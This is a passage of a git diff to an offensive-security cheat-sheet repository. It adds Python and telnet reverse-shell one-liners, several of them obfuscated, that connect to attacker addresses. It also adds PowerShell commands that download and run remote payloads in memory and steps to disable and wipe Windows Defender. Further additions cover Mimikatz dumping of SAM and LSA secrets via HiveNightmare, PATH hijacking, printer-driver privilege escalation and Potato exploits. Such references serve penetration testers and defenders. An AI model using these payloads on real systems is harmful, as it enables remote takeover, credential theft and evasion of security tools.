export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```
-
-IPv4
```python
-python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
+python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
+```
+```python
+python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
+```
+```python
+python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
+```
+
+IPv4 (No Spaces)
+```python
+python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
+```
+```python
+python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
+```
+```python
+python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
+```
+
+IPv4 (No Spaces, Shortened)
+```python
+python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
+```
+```python
+python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
+```
+```python
+python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
+```
+
+IPv4 (No Spaces, Shortened Further)
+```python
+python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
+```
+```python
+python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
+```
+```python
+python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
```
IPv6
```python
-python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
+python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
+IPv6 (No Spaces)
```python
-python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
+python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
+```
+
+IPv6 (No Spaces, Shortened)
+```python
+python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
Windows only
@@ -248,6 +292,16 @@ Thread thread = new Thread(){
thread.start();
```
+### Telnet
+```bash
+In Attacker machine start two listeners:
+nc -lvp 8080
+nc -lvp 8081
+
+In Victime machine run below command:
+telnet 8080 | /bin/sh | telnet 8081
+```
+
### War
```java
diff --git a/Methodology and Resources/Subdomains Enumeration.md b/Methodology and Resources/Subdomains Enumeration.md
index 88ee0e2..2de3136 100644
--- a/Methodology and Resources/Subdomains Enumeration.md
+++ b/Methodology and Resources/Subdomains Enumeration.md
@@ -178,7 +178,7 @@ go get github.com/anshumanbh/tko-subs
```bash
git clone https://github.com/nahamsec/HostileSubBruteforcer
-chmox +x sub_brute.rb
+chmod +x sub_brute.rb
./sub_brute.rb
```
@@ -192,4 +192,4 @@ go get github.com/Ice3man543/SubOver
## References
* [Subdomain Takeover: Proof Creation for Bug Bounties - Patrik Hudak](https://0xpatrik.com/takeover-proofs/)
-* [Subdomain Takeover: Basics - Patrik Hudak](https://0xpatrik.com/subdomain-takeover-basics/)
\ No newline at end of file
+* [Subdomain Takeover: Basics - Patrik Hudak](https://0xpatrik.com/subdomain-takeover-basics/)
diff --git a/Methodology and Resources/Windows - Download and Execute.md b/Methodology and Resources/Windows - Download and Execute.md
index 4f729b2..cd2c331 100644
--- a/Methodology and Resources/Windows - Download and Execute.md
+++ b/Methodology and Resources/Windows - Download and Execute.md
@@ -12,6 +12,22 @@ From an HTTP server
```powershell
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
+
+# Download only
+(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
+Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
+
+# Download and run Rubeus, with arguments
+$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe')
+$assem = [System.Reflection.Assembly]::Load($data)
+[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
+
+# Execute a specific method from an assembly
+$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
+$assem = [System.Reflection.Assembly]::Load($data)
+$class = $assem.GetType("ClassLibrary1.Class1")
+$method = $class.GetMethod("runner")
+$method.Invoke(0, $null)
```
From a Webdav server
diff --git a/Methodology and Resources/Windows - Mimikatz.md b/Methodology and Resources/Windows - Mimikatz.md
index 8711261..176fc6d 100644
--- a/Methodology and Resources/Windows - Mimikatz.md
+++ b/Methodology and Resources/Windows - Mimikatz.md
@@ -33,6 +33,7 @@ Mimikatz console (multiple commands)
```powershell
PS C:\temp\mimikatz> .\mimikatz
mimikatz # privilege::debug
+mimikatz # log
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
```
diff --git a/Methodology and Resources/Windows - Persistence.md b/Methodology and Resources/Windows - Persistence.md
index 820312e..db779d2 100644
--- a/Methodology and Resources/Windows - Persistence.md
+++ b/Methodology and Resources/Windows - Persistence.md
@@ -3,6 +3,7 @@
## Summary
* [Tools](#tools)
+* [Hide Your Binary](#hide-your-binary)
* [Disable Windows Defender](#disable-windows-defender)
* [Disable Windows Firewall](#disable-windows-firewall)
* [Simple User](#simple-user)
@@ -34,6 +35,14 @@
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
+## Hide Your Binary
+
+> Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.
+
+```ps1
+PS> attrib +h mimikatz.exe
+```
+
## Disable Windows Defender
```powershell
@@ -42,6 +51,10 @@ sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true
+# Wipe currently stored definitions
+# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\
+MpCmdRun.exe -RemoveDefinitions -All
+
## Exclude a process / location
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
@@ -367,4 +380,4 @@ Enter-PSSession -ComputerName -Credential \Administr
* [Persistence – Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/)
* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
* [Persistence – Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
-* [Persistence – Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)
\ No newline at end of file
+* [Persistence – Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)
diff --git a/Methodology and Resources/Windows - Privilege Escalation.md b/Methodology and Resources/Windows - Privilege Escalation.md
index 4363592..52057a2 100644
--- a/Methodology and Resources/Windows - Privilege Escalation.md
+++ b/Methodology and Resources/Windows - Privilege Escalation.md
@@ -14,6 +14,7 @@
* [Default Writeable Folders](#default-writeable-folders)
* [EoP - Looting for passwords](#eop---looting-for-passwords)
* [SAM and SYSTEM files](#sam-and-system-files)
+ * [HiveNightmare](#hivenightmare)
* [Search for file contents](#search-for-file-contents)
* [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename)
* [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords)
@@ -28,32 +29,38 @@
* [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services)
* [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl)
* [EoP - Unquoted Service Paths](#eop---unquoted-service-paths)
+* [EoP - $PATH Interception](#eop---path-interception)
* [EoP - Named Pipes](#eop---named-pipes)
* [EoP - Kernel Exploitation](#eop---kernel-exploitation)
* [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated)
* [EoP - Insecure GUI apps](#eop---insecure-gui-apps)
* [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers)
+* [EoP - Printers](#eop---printers)
+ * [Universal Printer](#universal-printer)
+ * [Bring Your Own Vulnerability](#bring-your-own-vulnerability)
* [EoP - Runas](#eop---runas)
* [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies)
* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system)
* [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts)
* [EoP - Impersonation Privileges](#eop---impersonation-privileges)
- * [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges)
- * [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives)
- * [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation)
- * [Juicy Potato (abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges)
+ * [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges)
+ * [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives)
+ * [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation)
+ * [Juicy Potato (Abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges)
+ * [Rogue Potato (Fake OXID Resolver)](#rogue-potato-fake-oxid-resolver))
+ * [EFSPotato (MS-EFSR EfsRpcOpenFileRaw)](#efspotato-ms-efsr-efsrpcopenfileraw))
* [EoP - Privileged File Write](#eop---privileged-file-write)
* [DiagHub](#diaghub)
* [UsoDLLLoader](#usodllloader)
* [WerTrigger](#wertrigger)
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure)
- * [MS08-067 (NetAPI)](#ms08-067-netapi)
- * [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7)
- * [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003)
- * [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012)
- * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
- * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue)
- * [CVE-2019-1388](#cve-2019-1388)
+ * [MS08-067 (NetAPI)](#ms08-067-netapi)
+ * [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7)
+ * [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003)
+ * [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012)
+ * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
+ * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue)
+ * [CVE-2019-1388](#cve-2019-1388)
* [EoP - $PATH Interception](#eop---path-interception)
* [References](#references)
@@ -384,7 +391,37 @@ pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
```
-Then crack it with `john -format=NT /root/sam.txt`.
+Either crack it with `john -format=NT /root/sam.txt` or use Pass-The-Hash.
+
+
+### HiveNightmare
+
+> CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user
+
+Check for the vulnerability using `icacls`
+
+```powershell
+C:\Windows\System32> icacls config\SAM
+config\SAM BUILTIN\Administrators:(I)(F)
+ NT AUTHORITY\SYSTEM:(I)(F)
+ BUILTIN\Users:(I)(RX) <-- this is wrong - regular users should not have read access!
+```
+
+Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.
+
+```powershell
+mimikatz> token::whoami /full
+
+# List shadow copies available
+mimikatz> misc::shadowcopies
+
+# Extract account from SAM databases
+mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
+
+# Extract secrets from SECURITY
+mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
+```
+
### Search for file contents
@@ -541,6 +578,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
### Powershell History
+Disable Powershell history: `Set-PSReadlineOption -HistorySaveStyle SaveNothing`.
+
```powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
@@ -792,6 +831,30 @@ For `C:\Program Files\something\legit.exe`, Windows will try the following paths
- `C:\Program.exe`
- `C:\Program Files.exe`
+
+## EoP - $PATH Interception
+
+Requirements:
+- PATH contains a writeable folder with low privileges.
+- The writeable folder is _before_ the folder that contains the legitimate binary.
+
+EXAMPLE:
+```powershell
+# List contents of the PATH environment variable
+# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
+$env:Path
+
+# See permissions of the target folder
+# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
+icacls.exe "C:\Program Files\nodejs\"
+
+# Place our evil-file in that folder.
+copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
+```
+
+Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
+
+
## EoP - Named Pipes
1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")`
@@ -892,6 +955,91 @@ Citrix USB Filter Driver
```
+## EoP - Printers
+
+### Universal Printer
+
+Create a Printer
+
+```ps1
+$printerName = 'Universal Priv Printer'
+$system32 = $env:systemroot + '\system32'
+$drivers = $system32 + '\spool\drivers'
+$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName
+
+Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll')
+Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll')
+Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll')
+
+Add-PrinterDriver -Name 'Generic / Text Only'
+Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
+
+New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null
+New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null
+New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null
+New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
+New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
+New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
+New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null
+New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
+New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
+New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null
+New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null
+New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
+New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
+```
+
+Execute the driver
+
+```ps1
+$serverName = 'dc.purple.lab'
+$printerName = 'Universal Priv Printer'
+$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
+Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
+Add-Printer -ConnectionName $fullprinterName
+```
+
+### PrinterNightmare
+
+```ps1
+git clone https://github.com/Flangvik/DeployPrinterNightmare
+PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
+[<3] @Flangvik - TrustedSec
+[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll
+[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
+[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
+[+] Adding printer driver => Generic / Text Only!
+[+] Adding printer => EasySystemShell!
+[+] Setting 64-bit Registry key
+[+] Setting 32-bit Registry key
+[+] Setting '*' Registry key
+```
+
+```ps1
+PS C:\target> $serverName = 'printer-installed-host'
+PS C:\target> $printerName = 'EasySystemShell'
+PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
+PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
+PS C:\target> Add-Printer -ConnectionName $fullprinterName
+```
+
+### Bring Your Own Vulnerability
+
+Concealed Position : https://github.com/jacob-baines/concealed_position
+
+* ACIDDAMAGE - [CVE-2021-35449](https://nvd.nist.gov/vuln/detail/CVE-2021-35449) - Lexmark Universal Print Driver LPE
+* RADIANTDAMAGE - [CVE-2021-38085](https://nvd.nist.gov/vuln/detail/CVE-2021-38085) - Canon TR150 Print Driver LPE
+* POISONDAMAGE - [CVE-2019-19363](https://nvd.nist.gov/vuln/detail/CVE-2019-19363) - Ricoh PCL6 Print Driver LPE
+* SLASHINGDAMAGE - [CVE-2020-1300](https://nvd.nist.gov/vuln/detail/CVE-2020-1300) - Windows Print Spooler LPE
+
+```powershell
+cp_server.exe -e ACIDDAMAGE
+# Get-Printer
+# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
+cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
+cp_client.exe -l -e ACIDDAMAGE
+```
+
## EoP - Runas
Use the `cmdkey` to list the stored credentials on the machine.
@@ -974,7 +1122,7 @@ Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary bel
|`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP - `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files. - Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
|`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. ||
|`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
-|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys` 2. Exploit the driver vulnerability Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732) 2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) |
+|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys` or `capcom.sys` 2. Exploit the driver vulnerability Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732) 2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) |
|`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present. 2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)). 3. Rename utilman.exe to utilman.old 4. Rename cmd.exe to utilman.exe 5. Lock the console and press Win+U| Attack may be detected by some AV software. Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"` 2. `icalcs.exe "%windir%\system32" /grant "%username%":F` 3. Rename cmd.exe to utilman.exe 4. Lock the console and press Win+U| Attack may be detected by some AV software. Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate. To be verified. ||
@@ -1010,7 +1158,6 @@ SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
```
-
### Meterpreter getsystem and alternatives
```powershell
@@ -1023,8 +1170,8 @@ python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
### RottenPotato (Token Impersonation)
-Binary available at : https://github.com/foxglovesec/RottenPotato
-Binary available at : https://github.com/breenmachine/RottenPotatoNG
+* Binary available at : https://github.com/foxglovesec/RottenPotato
+* Binary available at : https://github.com/breenmachine/RottenPotatoNG
```c
getuid
@@ -1043,10 +1190,12 @@ Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -n
```
-### Juicy Potato (abusing the golden privileges)
+### Juicy Potato (Abusing the golden privileges)
-Binary available at : https://github.com/ohpe/juicy-potato/releases
-:warning: Juicy Potato doesn't work on Windows Server 2019 and Windows 10 1809 +.
+> If the machine is **>= Windows 10 1809 & Windows Server 2019** - Try **Rogue Potato**
+> If the machine is **< Windows 10 1809 < Windows Server 2019** - Try **Juicy Potato**
+
+* Binary available at : https://github.com/ohpe/juicy-potato/releases
1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication)
@@ -1077,6 +1226,39 @@ Binary available at : https://github.com/ohpe/juicy-potato/releases
[+] CreateProcessWithTokenW OK
```
+### Rogue Potato (Fake OXID Resolver)
+
+* Binary available at https://github.com/antonioCoco/RoguePotato
+
+```powershell
+# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
+socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999
+
+# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine.
+# Use this if you have fw restrictions.
+RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"
+
+# RoguePotato all in one with RogueOxidResolver running locally on port 9999
+RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999
+
+#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
+RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
+```
+
+### EFSPotato (MS-EFSR EfsRpcOpenFileRaw)
+
+* Binary available at https://github.com/zcgonvh/EfsPotato
+
+```powershell
+# .NET 4.x
+csc EfsPotato.cs
+csc /platform:x86 EfsPotato.cs
+
+# .NET 2.0/3.5
+C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
+C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
+```
+
## EoP - Privileged File Write
@@ -1243,7 +1425,7 @@ python2 send_and_execute.py 10.0.0.1 revshell.exe
Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html
-Working on :
+Requirement:
- Windows 7
- Windows 10 LTSC 10240
@@ -1255,28 +1437,6 @@ Failing on :
Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege
-## EoP - $PATH Interception
-
-Requirements:
-- PATH contains a writeable folder with low privileges.
-- The writeable folder is _before_ the folder that contains the legitimate binary.
-
-EXAMPLE:
-```
-//(Powershell) List contents of the PATH environment variable
-//EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
-$env:Path
-
-//See permissions of the target folder
-//EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
-icacls.exe "C:\Program Files\nodejs\"
-
-//Place our evil-file in that folder.
-copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
-```
-
-Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
-
## References
* [Windows Internals Book - 02/07/2017](https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals)
@@ -1312,3 +1472,5 @@ Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\sys
* [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html)
* [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/)
* [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1)
+* [Abusing SeLoadDriverPrivilege for privilege escalation - 14 - JUN - 2018 - OSCAR MALLO](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
